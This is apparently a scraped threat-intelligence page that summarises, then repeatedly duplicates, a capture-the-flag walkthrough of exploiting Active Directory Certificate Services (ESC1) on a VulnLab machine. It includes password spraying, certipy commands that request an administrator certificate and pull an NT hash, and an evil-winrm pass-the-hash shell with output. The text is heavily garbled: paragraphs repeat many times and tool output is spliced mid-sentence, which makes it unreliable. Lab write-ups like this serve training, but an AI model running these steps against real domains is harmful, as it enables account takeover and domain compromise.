FOCUS MODE
EXTRACT IOC
Threat Research

Exploration of Active Directory Certificate Services (AD CS) Vulnerabilities

iocOne
The article discusses a hands-on exploration of Active Directory Certificate Services (AD CS) vulnerabilities, specifically focusing on an exploit known as ESC1. Using various scanning and enumeration tools, the author demonstrates how to identify and exploit misconfigurations in AD CS that allow low-privileged users to request high-privilege certificates. The article highlights detailed techniques employed in achieving domain compromise. Affected: Active Directory Certificate Services, Windows Server, User Accounts

Keypoints :

  • Introduction to Active Directory Certificate Services (AD CS) and its vulnerabilities.
  • Utilized Nmap for scanning and identifying open ports and services on the target machine.
  • Employed SMB enumeration techniques to discover user accounts and shared resources.
  • Found sensitive files revealing user credentials and suggested attacks.
  • Performed a RID cycling attack to enumerate further accounts.
  • Demonstrated the use of Kerberos and subsequent password spraying techniques.
  • Exploited misconfigured certificate templates in AD CS via Certipy tool.
  • Successfully escalated privileges from a low-privileged account to an Administrator account.
  • Concluded with the importance of checking AD CS misconfigurations for security.

MITRE Techniques :

  • Credential Dumping (T1003): Used to obtain NT hashes of users through Kerberos tickets.
  • Brute Force (T1110): Employed for password spraying against user accounts.
  • Exploitation for Credential Access (T1210): Misconfigured certificate templates were exploited for privilege escalation.
  • Remote File Copy (T1105): Copied files from remote SMB shares for credential recovery.
  • Account Discovery (T1087): Discovered user accounts during SMB enumeration.

Indicator of Compromise :

  • [IP Address] 10.10.124.218
  • [Domain] retro.vl
  • [Email Address] trainee@retro.vl
  • [Username] Banking$
  • [Certificate Subject] CN=retro-DC-CA, DC=retro, DC=vl

Full Story: https://infosecwriteups.com/retro-1707aa40be52?source=rss—-7b722bfd1b8d—4 , ‘ipc

Do you remember the users we found during the RID cycling attack? It’s time to spray some passwords using NetExec! But wait — I almost missed an important step. Before that, we need to validate the users using Kerberos with the Kerbrute tool.

Here, I’m checking with two wordlists — one containing the users we initially found and another with common usernames from the SecLists wordlist. This is crucial because, in some scenarios, you might not have any discovered users to work with.
I usually move on to pentesting after this step, but just a heads-up — you should also test for Kerberoasting and ASREPRoasting attacks at this stage. Just wanted to throw that out there!
It’s time to start password spraying! 🔥 You can use Kerbrute for this, but as I’ve said before, I love playing with NetExec!
Nothing interesting here since we already knew the trainee user could log in with the “trainee” password.
But there’s something interesting in the output of impacket-lookupsids—did you notice that? 🤔 There’s a computer account: Banking$, and its password is the same as its name, which we also confirmed during the password spraying. Note: Whenever you discover a new user during enumeration, always add it to your wordlist for spraying later
So, it’s a valid user with a valid password, but the error we got during spraying indicates that the password needs to be changed. To fix this, we need to modify the /etc/krb5.conf file and use the kpasswd tool to update the password.
Checking for Validation of the Password Just Set
AD CS as Part of the Things You Need to Check
I will use the NetExec module for this first, then follow up with Certipy by Oliver Lyak a fantastic tool for all AD CS attacks — for additional AD CS scanning And Exploitation.
Now that we know it’s vulnerable to ESC1, it’s time to dig deeper and exploit it!
Exploiting ESC1 in AD CS
After confirming that the AD CS instance is vulnerable to ESC1 (Enterprise CA Security Issue 1), we move on to exploitation using Certipy. This attack abuses misconfigured certificate templates that allow low-privileged users or machine accounts to request certificates with privileged user UPNs (User Principal Names). These certificates can then be used for authentication and privilege escalation.
Step 1: Requesting a Certificate as Administrator
We use the certipy req command to request a certificate as the Administrator user while authenticating with the compromised Banking$ machine account.
  • -u 'banking$'@retro.vl -p 'banking1234': We authenticate as the Banking$ machine account.
  • -c 'retro-DC-CA' -target 'dc.retro.vl': Specifies the Certificate Authority (CA) and domain controller.
  • -template 'RetroClients': Requests a certificate using the vulnerable template.
  • -upn 'administrator': Sets the UPN to Administrator, essentially tricking the CA into issuing a certificate for a highly privileged account.
  • -key-size 4096: Generates a strong RSA key.
If the template is misconfigured and allows us to specify arbitrary UPNs, we successfully obtain a certificate for Administrator.
The output confirms that the certificate was issued and saved as administrator.pfx.
Step 2: Using the Certificate for Authentication
With the certificate in hand, we use Certipy auth to authenticate as Administrator and retrieve their NTLM hash.
  • -pfx 'administrator.pfx': Uses the obtained certificate for authentication.
  • -username 'administrator' -domain 'retro.vl': Specifies the target user and domain.
  • -dc-ip 10.10.124.218: Specifies the domain controller’s IP.
The output confirms that we successfully retrieved a TGT (Ticket Granting Ticket) and the NTLM hash of the Administrator account:
Step 3: Getting a Shell as Administrator
With the Administrator NTLM hash, we use Evil-WinRM to get a fully privileged shell on the domain controller.
And just like that… we’re in! 🎉
Navigating to the desktop and reading the root.txt flag confirms full domain compromise!
Final Thoughts
This machine was a great example of how misconfigured AD CS templates can lead to full domain takeover. By abusing ESC1, we were able to escalate from a low-privileged machine account (Banking$) to Administrator—without even needing to crack any hashes!
🔹 Key Takeaways:

✅ Always check for AD CS misconfigurations.

✅ ESC1 allows for privilege escalation by requesting certificates with privileged UPNs.

✅ Certipy is an excellent tool for AD CS enumeration and exploitation.
And that’s another VulnLab machine pwned! 🔥
References
If you want references for this attack, check out our blog post on it!
Do You Wanna Chat with Maverick?🥂
Don’t forget to follow me on LinkedIn and Twitter, and give me some respect on Hack The Box! i love chatting with like-minded people, sharing knowledge, and learning from everyone. Happy hacking! 🚀
[/hidden_content]
Full Story: https://infosecwriteups.com/retro-1707aa40be52?source=rss—-7b722bfd1b8d—4 ]

SPIDER_PLUS 10.10.124.218 445 DC [*] EXCLUDE_EXTS: [‘ico’, ‘lnk’]

SPIDER_PLUS 10.10.124.218 445 DC [*] MAX_FILE_SIZE: 50 KB

SPIDER_PLUS 10.10.124.218 445 DC [*] OUTPUT_FOLDER: /tmp/nxc_hosted/nxc_spider_plus

SMB 10.10.124.218 445 DC [*] Enumerated shares

SMB 10.10.124.218 445 DC Share Permissions Remark

SMB 10.10.124.218 445 DC —– ———– ——

SMB 10.10.124.218 445 DC ADMIN$ Remote Admin

SMB 10.10.124.218 445 DC C$ Default share

SMB 10.10.124.218 445 DC IPC$ READ Remote IPC

SMB 10.10.124.218 445 DC NETLOGON READ Logon server share

SMB 10.10.124.218 445 DC Notes READ

SMB 10.10.124.218 445 DC SYSVOL READ Logon server share

SMB 10.10.124.218 445 DC Trainees READ

SPIDER_PLUS 10.10.124.218 445 DC [+] Saved share-file metadata to “/tmp/nxc_hosted/nxc_spider_plus/10.10.124.218.json”.

SPIDER_PLUS 10.10.124.218 445 DC [*] SMB Shares: 7 (ADMIN$, C$, IPC$, NETLOGON, Notes, SYSVOL, Trainees)

SPIDER_PLUS 10.10.124.218 445 DC [*] SMB Readable Shares: 5 (IPC$, NETLOGON, Notes, SYSVOL, Trainees)

SPIDER_PLUS 10.10.124.218 445 DC [*] SMB Filtered Shares: 1

SPIDER_PLUS 10.10.124.218 445 DC [*] Total folders found: 19

SPIDER_PLUS 10.10.124.218 445 DC [*] Total files found: 7

SPIDER_PLUS 10.10.124.218 445 DC [*] File size average: 1.24 KB

SPIDER_PLUS 10.10.124.218 445 DC [*] File size min: 22 B

SPIDER_PLUS 10.10.124.218 445 DC [*] File size max: 3.68 KB
Do you remember the users we found during the RID cycling attack? It’s time to spray some passwords using NetExec! But wait — I almost missed an important step. Before that, we need to validate the users using Kerberos with the Kerbrute tool.
Here, I’m checking with two wordlists — one containing the users we initially found and another with common usernames from the SecLists wordlist. This is crucial because, in some scenarios, you might not have any discovered users to work with.
I usually move on to pentesting after this step, but just a heads-up — you should also test for Kerberoasting and ASREPRoasting attacks at this stage. Just wanted to throw that out there!
It’s time to start password spraying! 🔥 You can use Kerbrute for this, but as I’ve said before, I love playing with NetExec!
Nothing interesting here since we already knew the trainee user could log in with the “trainee” password.
But there’s something interesting in the output of impacket-lookupsids—did you notice that? 🤔 There’s a computer account: Banking$, and its password is the same as its name, which we also confirmed during the password spraying. Note: Whenever you discover a new user during enumeration, always add it to your wordlist for spraying later
So, it’s a valid user with a valid password, but the error we got during spraying indicates that the password needs to be changed. To fix this, we need to modify the /etc/krb5.conf file and use the kpasswd tool to update the password.
Checking for Validation of the Password Just Set
AD CS as Part of the Things You Need to Check
I will use the NetExec module for this first, then follow up with Certipy by Oliver Lyak a fantastic tool for all AD CS attacks — for additional AD CS scanning And Exploitation.
Now that we know it’s vulnerable to ESC1, it’s time to dig deeper and exploit it!
Exploiting ESC1 in AD CS
After confirming that the AD CS instance is vulnerable to ESC1 (Enterprise CA Security Issue 1), we move on to exploitation using Certipy. This attack abuses misconfigured certificate templates that allow low-privileged users or machine accounts to request certificates with privileged user UPNs (User Principal Names). These certificates can then be used for authentication and privilege escalation.
Step 1: Requesting a Certificate as Administrator
We use the certipy req command to request a certificate as the Administrator user while authenticating with the compromised Banking$ machine account.
  • -u 'banking$'@retro.vl -p 'banking1234': We authenticate as the Banking$ machine account.
  • -c 'retro-DC-CA' -target 'dc.retro.vl': Specifies the Certificate Authority (CA) and domain controller.
  • -template 'RetroClients': Requests a certificate using the vulnerable template.
  • -upn 'administrator': Sets the UPN to Administrator, essentially tricking the CA into issuing a certificate for a highly privileged account.
  • -key-size 4096: Generates a strong RSA key.
If the template is misconfigured and allows us to specify arbitrary UPNs, we successfully obtain a certificate for Administrator.
The output confirms that the certificate was issued and saved as administrator.pfx.
Step 2: Using the Certificate for Authentication
With the certificate in hand, we use Certipy auth to authenticate as Administrator and retrieve their NTLM hash.
  • -pfx 'administrator.pfx': Uses the obtained certificate for authentication.
  • -username 'administrator' -domain 'retro.vl': Specifies the target user and domain.
  • -dc-ip 10.10.124.218: Specifies the domain controller’s IP.
The output confirms that we successfully retrieved a TGT (Ticket Granting Ticket) and the NTLM hash of the Administrator account:
Step 3: Getting a Shell as Administrator
With the Administrator NTLM hash, we use Evil-WinRM to get a fully privileged shell on the domain controller.
And just like that… we’re in! 🎉
Navigating to the desktop and reading the root.txt flag confirms full domain compromise!
Final Thoughts
This machine was a great example of how misconfigured AD CS templates can lead to full domain takeover. By abusing ESC1, we were able to escalate from a low-privileged machine account (Banking$) to Administrator—without even needing to crack any hashes!
🔹 Key Takeaways:

✅ Always check for AD CS misconfigurations.

✅ ESC1 allows for privilege escalation by requesting certificates with privileged UPNs.

✅ Certipy is an excellent tool for AD CS enumeration and exploitation.
And that’s another VulnLab machine pwned! 🔥
References
If you want references for this attack, check out our blog post on it!
Do You Wanna Chat with Maverick?🥂
Don’t forget to follow me on LinkedIn and Twitter, and give me some respect on Hack The Box! i love chatting with like-minded people, sharing knowledge, and learning from everyone. Happy hacking! 🚀
[/hidden_content]
Full Story: https://infosecwriteups.com/retro-1707aa40be52?source=rss—-7b722bfd1b8d—4 -p ‘banking1234’

SMB 10.10.124.218 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:retro.vl) (signing:True) (SMBv1:False)

SMB 10.10.124.218 445 DC [+] retro.vlBANKING$:banking1234
AD CS as Part of the Things You Need to Check
I will use the NetExec module for this first, then follow up with Certipy by Oliver Lyak a fantastic tool for all AD CS attacks — for additional AD CS scanning And Exploitation.
Now that we know it’s vulnerable to ESC1, it’s time to dig deeper and exploit it!
Exploiting ESC1 in AD CS
After confirming that the AD CS instance is vulnerable to ESC1 (Enterprise CA Security Issue 1), we move on to exploitation using Certipy. This attack abuses misconfigured certificate templates that allow low-privileged users or machine accounts to request certificates with privileged user UPNs (User Principal Names). These certificates can then be used for authentication and privilege escalation.
Step 1: Requesting a Certificate as Administrator
We use the certipy req command to request a certificate as the Administrator user while authenticating with the compromised Banking$ machine account.
  • -u 'banking$'@retro.vl -p 'banking1234': We authenticate as the Banking$ machine account.
  • -c 'retro-DC-CA' -target 'dc.retro.vl': Specifies the Certificate Authority (CA) and domain controller.
  • -template 'RetroClients': Requests a certificate using the vulnerable template.
  • -upn 'administrator': Sets the UPN to Administrator, essentially tricking the CA into issuing a certificate for a highly privileged account.
  • -key-size 4096: Generates a strong RSA key.
If the template is misconfigured and allows us to specify arbitrary UPNs, we successfully obtain a certificate for Administrator.
The output confirms that the certificate was issued and saved as administrator.pfx.
Step 2: Using the Certificate for Authentication
With the certificate in hand, we use Certipy auth to authenticate as Administrator and retrieve their NTLM hash.
  • -pfx 'administrator.pfx': Uses the obtained certificate for authentication.
  • -username 'administrator' -domain 'retro.vl': Specifies the target user and domain.
  • -dc-ip 10.10.124.218: Specifies the domain controller’s IP.
The output confirms that we successfully retrieved a TGT (Ticket Granting Ticket) and the NTLM hash of the Administrator account:
Step 3: Getting a Shell as Administrator
With the Administrator NTLM hash, we use Evil-WinRM to get a fully privileged shell on the domain controller.
And just like that… we’re in! 🎉
Navigating to the desktop and reading the root.txt flag confirms full domain compromise!
Final Thoughts
This machine was a great example of how misconfigured AD CS templates can lead to full domain takeover. By abusing ESC1, we were able to escalate from a low-privileged machine account (Banking$) to Administrator—without even needing to crack any hashes!
🔹 Key Takeaways:

✅ Always check for AD CS misconfigurations.

✅ ESC1 allows for privilege escalation by requesting certificates with privileged UPNs.

✅ Certipy is an excellent tool for AD CS enumeration and exploitation.
And that’s another VulnLab machine pwned! 🔥
References
If you want references for this attack, check out our blog post on it!
Do You Wanna Chat with Maverick?🥂
Don’t forget to follow me on LinkedIn and Twitter, and give me some respect on Hack The Box! i love chatting with like-minded people, sharing knowledge, and learning from everyone. Happy hacking! 🚀
[/hidden_content]
Full Story: https://infosecwriteups.com/retro-1707aa40be52?source=rss—-7b722bfd1b8d—4 , ‘ipc
Do you remember the users we found during the RID cycling attack? It’s time to spray some passwords using NetExec! But wait — I almost missed an important step. Before that, we need to validate the users using Kerberos with the Kerbrute tool.
Here, I’m checking with two wordlists — one containing the users we initially found and another with common usernames from the SecLists wordlist. This is crucial because, in some scenarios, you might not have any discovered users to work with.
I usually move on to pentesting after this step, but just a heads-up — you should also test for Kerberoasting and ASREPRoasting attacks at this stage. Just wanted to throw that out there!
It’s time to start password spraying! 🔥 You can use Kerbrute for this, but as I’ve said before, I love playing with NetExec!
Nothing interesting here since we already knew the trainee user could log in with the “trainee” password.
But there’s something interesting in the output of impacket-lookupsids—did you notice that? 🤔 There’s a computer account: Banking$, and its password is the same as its name, which we also confirmed during the password spraying. Note: Whenever you discover a new user during enumeration, always add it to your wordlist for spraying later
So, it’s a valid user with a valid password, but the error we got during spraying indicates that the password needs to be changed. To fix this, we need to modify the /etc/krb5.conf file and use the kpasswd tool to update the password.
Checking for Validation of the Password Just Set
AD CS as Part of the Things You Need to Check
I will use the NetExec module for this first, then follow up with Certipy by Oliver Lyak a fantastic tool for all AD CS attacks — for additional AD CS scanning And Exploitation.
Now that we know it’s vulnerable to ESC1, it’s time to dig deeper and exploit it!
Exploiting ESC1 in AD CS
After confirming that the AD CS instance is vulnerable to ESC1 (Enterprise CA Security Issue 1), we move on to exploitation using Certipy. This attack abuses misconfigured certificate templates that allow low-privileged users or machine accounts to request certificates with privileged user UPNs (User Principal Names). These certificates can then be used for authentication and privilege escalation.
Step 1: Requesting a Certificate as Administrator
We use the certipy req command to request a certificate as the Administrator user while authenticating with the compromised Banking$ machine account.
  • -u 'banking$'@retro.vl -p 'banking1234': We authenticate as the Banking$ machine account.
  • -c 'retro-DC-CA' -target 'dc.retro.vl': Specifies the Certificate Authority (CA) and domain controller.
  • -template 'RetroClients': Requests a certificate using the vulnerable template.
  • -upn 'administrator': Sets the UPN to Administrator, essentially tricking the CA into issuing a certificate for a highly privileged account.
  • -key-size 4096: Generates a strong RSA key.
If the template is misconfigured and allows us to specify arbitrary UPNs, we successfully obtain a certificate for Administrator.
The output confirms that the certificate was issued and saved as administrator.pfx.
Step 2: Using the Certificate for Authentication
With the certificate in hand, we use Certipy auth to authenticate as Administrator and retrieve their NTLM hash.
  • -pfx 'administrator.pfx': Uses the obtained certificate for authentication.
  • -username 'administrator' -domain 'retro.vl': Specifies the target user and domain.
  • -dc-ip 10.10.124.218: Specifies the domain controller’s IP.
The output confirms that we successfully retrieved a TGT (Ticket Granting Ticket) and the NTLM hash of the Administrator account:
Step 3: Getting a Shell as Administrator
With the Administrator NTLM hash, we use Evil-WinRM to get a fully privileged shell on the domain controller.
And just like that… we’re in! 🎉
Navigating to the desktop and reading the root.txt flag confirms full domain compromise!
Final Thoughts
This machine was a great example of how misconfigured AD CS templates can lead to full domain takeover. By abusing ESC1, we were able to escalate from a low-privileged machine account (Banking$) to Administrator—without even needing to crack any hashes!
🔹 Key Takeaways:

✅ Always check for AD CS misconfigurations.

✅ ESC1 allows for privilege escalation by requesting certificates with privileged UPNs.

✅ Certipy is an excellent tool for AD CS enumeration and exploitation.
And that’s another VulnLab machine pwned! 🔥
References
If you want references for this attack, check out our blog post on it!
Do You Wanna Chat with Maverick?🥂
Don’t forget to follow me on LinkedIn and Twitter, and give me some respect on Hack The Box! i love chatting with like-minded people, sharing knowledge, and learning from everyone. Happy hacking! 🚀
[/hidden_content]
Full Story: https://infosecwriteups.com/retro-1707aa40be52?source=rss—-7b722bfd1b8d—4 ]

SPIDER_PLUS 10.10.124.218 445 DC [*] EXCLUDE_EXTS: [‘ico’, ‘lnk’]

SPIDER_PLUS 10.10.124.218 445 DC [*] MAX_FILE_SIZE: 50 KB

SPIDER_PLUS 10.10.124.218 445 DC [*] OUTPUT_FOLDER: /tmp/nxc_hosted/nxc_spider_plus

SMB 10.10.124.218 445 DC [*] Enumerated shares

SMB 10.10.124.218 445 DC Share Permissions Remark

SMB 10.10.124.218 445 DC —– ———– ——

SMB 10.10.124.218 445 DC ADMIN$ Remote Admin

SMB 10.10.124.218 445 DC C$ Default share

SMB 10.10.124.218 445 DC IPC$ READ Remote IPC

SMB 10.10.124.218 445 DC NETLOGON READ Logon server share

SMB 10.10.124.218 445 DC Notes READ

SMB 10.10.124.218 445 DC SYSVOL READ Logon server share

SMB 10.10.124.218 445 DC Trainees READ

SPIDER_PLUS 10.10.124.218 445 DC [+] Saved share-file metadata to “/tmp/nxc_hosted/nxc_spider_plus/10.10.124.218.json”.

SPIDER_PLUS 10.10.124.218 445 DC [*] SMB Shares: 7 (ADMIN$, C$, IPC$, NETLOGON, Notes, SYSVOL, Trainees)

SPIDER_PLUS 10.10.124.218 445 DC [*] SMB Readable Shares: 5 (IPC$, NETLOGON, Notes, SYSVOL, Trainees)

SPIDER_PLUS 10.10.124.218 445 DC [*] SMB Filtered Shares: 1

SPIDER_PLUS 10.10.124.218 445 DC [*] Total folders found: 19

SPIDER_PLUS 10.10.124.218 445 DC [*] Total files found: 7

SPIDER_PLUS 10.10.124.218 445 DC [*] File size average: 1.24 KB

SPIDER_PLUS 10.10.124.218 445 DC [*] File size min: 22 B

SPIDER_PLUS 10.10.124.218 445 DC [*] File size max: 3.68 KB
Do you remember the users we found during the RID cycling attack? It’s time to spray some passwords using NetExec! But wait — I almost missed an important step. Before that, we need to validate the users using Kerberos with the Kerbrute tool.
Here, I’m checking with two wordlists — one containing the users we initially found and another with common usernames from the SecLists wordlist. This is crucial because, in some scenarios, you might not have any discovered users to work with.
I usually move on to pentesting after this step, but just a heads-up — you should also test for Kerberoasting and ASREPRoasting attacks at this stage. Just wanted to throw that out there!
It’s time to start password spraying! 🔥 You can use Kerbrute for this, but as I’ve said before, I love playing with NetExec!
Nothing interesting here since we already knew the trainee user could log in with the “trainee” password.
But there’s something interesting in the output of impacket-lookupsids—did you notice that? 🤔 There’s a computer account: Banking$, and its password is the same as its name, which we also confirmed during the password spraying. Note: Whenever you discover a new user during enumeration, always add it to your wordlist for spraying later
So, it’s a valid user with a valid password, but the error we got during spraying indicates that the password needs to be changed. To fix this, we need to modify the /etc/krb5.conf file and use the kpasswd tool to update the password.
Checking for Validation of the Password Just Set
AD CS as Part of the Things You Need to Check
I will use the NetExec module for this first, then follow up with Certipy by Oliver Lyak a fantastic tool for all AD CS attacks — for additional AD CS scanning And Exploitation.
Now that we know it’s vulnerable to ESC1, it’s time to dig deeper and exploit it!
Exploiting ESC1 in AD CS
After confirming that the AD CS instance is vulnerable to ESC1 (Enterprise CA Security Issue 1), we move on to exploitation using Certipy. This attack abuses misconfigured certificate templates that allow low-privileged users or machine accounts to request certificates with privileged user UPNs (User Principal Names). These certificates can then be used for authentication and privilege escalation.
Step 1: Requesting a Certificate as Administrator
We use the certipy req command to request a certificate as the Administrator user while authenticating with the compromised Banking$ machine account.
  • -u 'banking$'@retro.vl -p 'banking1234': We authenticate as the Banking$ machine account.
  • -c 'retro-DC-CA' -target 'dc.retro.vl': Specifies the Certificate Authority (CA) and domain controller.
  • -template 'RetroClients': Requests a certificate using the vulnerable template.
  • -upn 'administrator': Sets the UPN to Administrator, essentially tricking the CA into issuing a certificate for a highly privileged account.
  • -key-size 4096: Generates a strong RSA key.
If the template is misconfigured and allows us to specify arbitrary UPNs, we successfully obtain a certificate for Administrator.
The output confirms that the certificate was issued and saved as administrator.pfx.
Step 2: Using the Certificate for Authentication
With the certificate in hand, we use Certipy auth to authenticate as Administrator and retrieve their NTLM hash.
  • -pfx 'administrator.pfx': Uses the obtained certificate for authentication.
  • -username 'administrator' -domain 'retro.vl': Specifies the target user and domain.
  • -dc-ip 10.10.124.218: Specifies the domain controller’s IP.
The output confirms that we successfully retrieved a TGT (Ticket Granting Ticket) and the NTLM hash of the Administrator account:
Step 3: Getting a Shell as Administrator
With the Administrator NTLM hash, we use Evil-WinRM to get a fully privileged shell on the domain controller.
And just like that… we’re in! 🎉
Navigating to the desktop and reading the root.txt flag confirms full domain compromise!
Final Thoughts
This machine was a great example of how misconfigured AD CS templates can lead to full domain takeover. By abusing ESC1, we were able to escalate from a low-privileged machine account (Banking$) to Administrator—without even needing to crack any hashes!
🔹 Key Takeaways:

✅ Always check for AD CS misconfigurations.

✅ ESC1 allows for privilege escalation by requesting certificates with privileged UPNs.

✅ Certipy is an excellent tool for AD CS enumeration and exploitation.
And that’s another VulnLab machine pwned! 🔥
References
If you want references for this attack, check out our blog post on it!
Do You Wanna Chat with Maverick?🥂
Don’t forget to follow me on LinkedIn and Twitter, and give me some respect on Hack The Box! i love chatting with like-minded people, sharing knowledge, and learning from everyone. Happy hacking! 🚀
[/hidden_content]
Full Story: https://infosecwriteups.com/retro-1707aa40be52?source=rss—-7b722bfd1b8d—4 @retro.vl -p ‘banking1234’ -c ‘retro-DC-CA’ -target ‘dc.retro.vl’ -template ‘RetroClients’ -upn ‘administrator’ -key-size 4096 -debug

Certipy v4.8.2 – by Oliver Lyak (ly4k)
[+] Trying to resolve ‘dc.retro.vl’ at ‘8.8.8.8’

[+] Trying to resolve ‘RETRO.VL’ at ‘8.8.8.8’

[+] Generating RSA key

[*] Requesting certificate via RPC

[+] Trying to connect to endpoint: ncacn_np:10.10.124.218[pipecert]

[+] Connected to endpoint: ncacn_np:10.10.124.218[pipecert]

[*] Successfully requested certificate

[*] Request ID is 9

[*] Got certificate with UPN ‘administrator’

[*] Certificate has no object SID

[*] Saved certificate and private key to ‘administrator.pfx’

┌──(root㉿kali)-[/home/kali/VulnLab/retero_1]

└─# certipy auth -pfx ‘administrator.pfx’ -username ‘administrator’ -domain ‘retro.vl’ -dc-ip 10.10.124.218

Certipy v4.8.2 – by Oliver Lyak (ly4k)
[*] Using principal: administrator@retro.vl

[*] Trying to get TGT…

[*] Got TGT

[*] Saved credential cache to ‘administrator.ccache’

[*] Trying to retrieve NT hash for ‘administrator’

[*] Got hash for ‘administrator@retro.vl’: aad3b435b51404eeaad3b435b51404ee:252fac7066d9————-
┌──(root㉿kali)-[/home/kali/VulnLab/retero_1]

└─# evil-winrm -i dc.retro.vl -u administrator -H 252fac7066d9——–
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:UsersAdministratorDocuments> whoami

retroadministrator

*Evil-WinRM* PS C:UsersAdministratorDocuments> ls

*Evil-WinRM* PS C:UsersAdministratorDocuments> cd ../desktop

*Evil-WinRM* PS C:UsersAdministratordesktop> ls
Directory: C:UsersAdministratordesktop
Mode LastWriteTime Length Name

—- ————- —— —-

-a—- 7/25/2023 12:38 PM 36 root.txt
*Evil-WinRM* PS C:UsersAdministratordesktop> cat root.txt

VL{8—————————–

*Evil-WinRM* PS C:UsersAdministratordesktop>
Exploiting ESC1 in AD CS
After confirming that the AD CS instance is vulnerable to ESC1 (Enterprise CA Security Issue 1), we move on to exploitation using Certipy. This attack abuses misconfigured certificate templates that allow low-privileged users or machine accounts to request certificates with privileged user UPNs (User Principal Names). These certificates can then be used for authentication and privilege escalation.
Step 1: Requesting a Certificate as Administrator
We use the certipy req command to request a certificate as the Administrator user while authenticating with the compromised Banking$ machine account.
  • -u 'banking$'@retro.vl -p 'banking1234': We authenticate as the Banking$ machine account.
  • -c 'retro-DC-CA' -target 'dc.retro.vl': Specifies the Certificate Authority (CA) and domain controller.
  • -template 'RetroClients': Requests a certificate using the vulnerable template.
  • -upn 'administrator': Sets the UPN to Administrator, essentially tricking the CA into issuing a certificate for a highly privileged account.
  • -key-size 4096: Generates a strong RSA key.
If the template is misconfigured and allows us to specify arbitrary UPNs, we successfully obtain a certificate for Administrator.
The output confirms that the certificate was issued and saved as administrator.pfx.
Step 2: Using the Certificate for Authentication
With the certificate in hand, we use Certipy auth to authenticate as Administrator and retrieve their NTLM hash.
  • -pfx 'administrator.pfx': Uses the obtained certificate for authentication.
  • -username 'administrator' -domain 'retro.vl': Specifies the target user and domain.
  • -dc-ip 10.10.124.218: Specifies the domain controller’s IP.
The output confirms that we successfully retrieved a TGT (Ticket Granting Ticket) and the NTLM hash of the Administrator account:
Step 3: Getting a Shell as Administrator
With the Administrator NTLM hash, we use Evil-WinRM to get a fully privileged shell on the domain controller.
And just like that… we’re in! 🎉
Navigating to the desktop and reading the root.txt flag confirms full domain compromise!
Final Thoughts
This machine was a great example of how misconfigured AD CS templates can lead to full domain takeover. By abusing ESC1, we were able to escalate from a low-privileged machine account (Banking$) to Administrator—without even needing to crack any hashes!
🔹 Key Takeaways:

✅ Always check for AD CS misconfigurations.

✅ ESC1 allows for privilege escalation by requesting certificates with privileged UPNs.

✅ Certipy is an excellent tool for AD CS enumeration and exploitation.
And that’s another VulnLab machine pwned! 🔥
References
If you want references for this attack, check out our blog post on it!
Do You Wanna Chat with Maverick?🥂
Don’t forget to follow me on LinkedIn and Twitter, and give me some respect on Hack The Box! i love chatting with like-minded people, sharing knowledge, and learning from everyone. Happy hacking! 🚀
[/hidden_content]
Full Story: https://infosecwriteups.com/retro-1707aa40be52?source=rss—-7b722bfd1b8d—4 , ‘ipc
Do you remember the users we found during the RID cycling attack? It’s time to spray some passwords using NetExec! But wait — I almost missed an important step. Before that, we need to validate the users using Kerberos with the Kerbrute tool.
Here, I’m checking with two wordlists — one containing the users we initially found and another with common usernames from the SecLists wordlist. This is crucial because, in some scenarios, you might not have any discovered users to work with.
I usually move on to pentesting after this step, but just a heads-up — you should also test for Kerberoasting and ASREPRoasting attacks at this stage. Just wanted to throw that out there!
It’s time to start password spraying! 🔥 You can use Kerbrute for this, but as I’ve said before, I love playing with NetExec!
Nothing interesting here since we already knew the trainee user could log in with the “trainee” password.
But there’s something interesting in the output of impacket-lookupsids—did you notice that? 🤔 There’s a computer account: Banking$, and its password is the same as its name, which we also confirmed during the password spraying. Note: Whenever you discover a new user during enumeration, always add it to your wordlist for spraying later
So, it’s a valid user with a valid password, but the error we got during spraying indicates that the password needs to be changed. To fix this, we need to modify the /etc/krb5.conf file and use the kpasswd tool to update the password.
Checking for Validation of the Password Just Set
AD CS as Part of the Things You Need to Check
I will use the NetExec module for this first, then follow up with Certipy by Oliver Lyak a fantastic tool for all AD CS attacks — for additional AD CS scanning And Exploitation.
Now that we know it’s vulnerable to ESC1, it’s time to dig deeper and exploit it!
Exploiting ESC1 in AD CS
After confirming that the AD CS instance is vulnerable to ESC1 (Enterprise CA Security Issue 1), we move on to exploitation using Certipy. This attack abuses misconfigured certificate templates that allow low-privileged users or machine accounts to request certificates with privileged user UPNs (User Principal Names). These certificates can then be used for authentication and privilege escalation.
Step 1: Requesting a Certificate as Administrator
We use the certipy req command to request a certificate as the Administrator user while authenticating with the compromised Banking$ machine account.
  • -u 'banking$'@retro.vl -p 'banking1234': We authenticate as the Banking$ machine account.
  • -c 'retro-DC-CA' -target 'dc.retro.vl': Specifies the Certificate Authority (CA) and domain controller.
  • -template 'RetroClients': Requests a certificate using the vulnerable template.
  • -upn 'administrator': Sets the UPN to Administrator, essentially tricking the CA into issuing a certificate for a highly privileged account.
  • -key-size 4096: Generates a strong RSA key.
If the template is misconfigured and allows us to specify arbitrary UPNs, we successfully obtain a certificate for Administrator.
The output confirms that the certificate was issued and saved as administrator.pfx.
Step 2: Using the Certificate for Authentication
With the certificate in hand, we use Certipy auth to authenticate as Administrator and retrieve their NTLM hash.
  • -pfx 'administrator.pfx': Uses the obtained certificate for authentication.
  • -username 'administrator' -domain 'retro.vl': Specifies the target user and domain.
  • -dc-ip 10.10.124.218: Specifies the domain controller’s IP.
The output confirms that we successfully retrieved a TGT (Ticket Granting Ticket) and the NTLM hash of the Administrator account:
Step 3: Getting a Shell as Administrator
With the Administrator NTLM hash, we use Evil-WinRM to get a fully privileged shell on the domain controller.
And just like that… we’re in! 🎉
Navigating to the desktop and reading the root.txt flag confirms full domain compromise!
Final Thoughts
This machine was a great example of how misconfigured AD CS templates can lead to full domain takeover. By abusing ESC1, we were able to escalate from a low-privileged machine account (Banking$) to Administrator—without even needing to crack any hashes!
🔹 Key Takeaways:

✅ Always check for AD CS misconfigurations.

✅ ESC1 allows for privilege escalation by requesting certificates with privileged UPNs.

✅ Certipy is an excellent tool for AD CS enumeration and exploitation.
And that’s another VulnLab machine pwned! 🔥
References
If you want references for this attack, check out our blog post on it!
Do You Wanna Chat with Maverick?🥂
Don’t forget to follow me on LinkedIn and Twitter, and give me some respect on Hack The Box! i love chatting with like-minded people, sharing knowledge, and learning from everyone. Happy hacking! 🚀
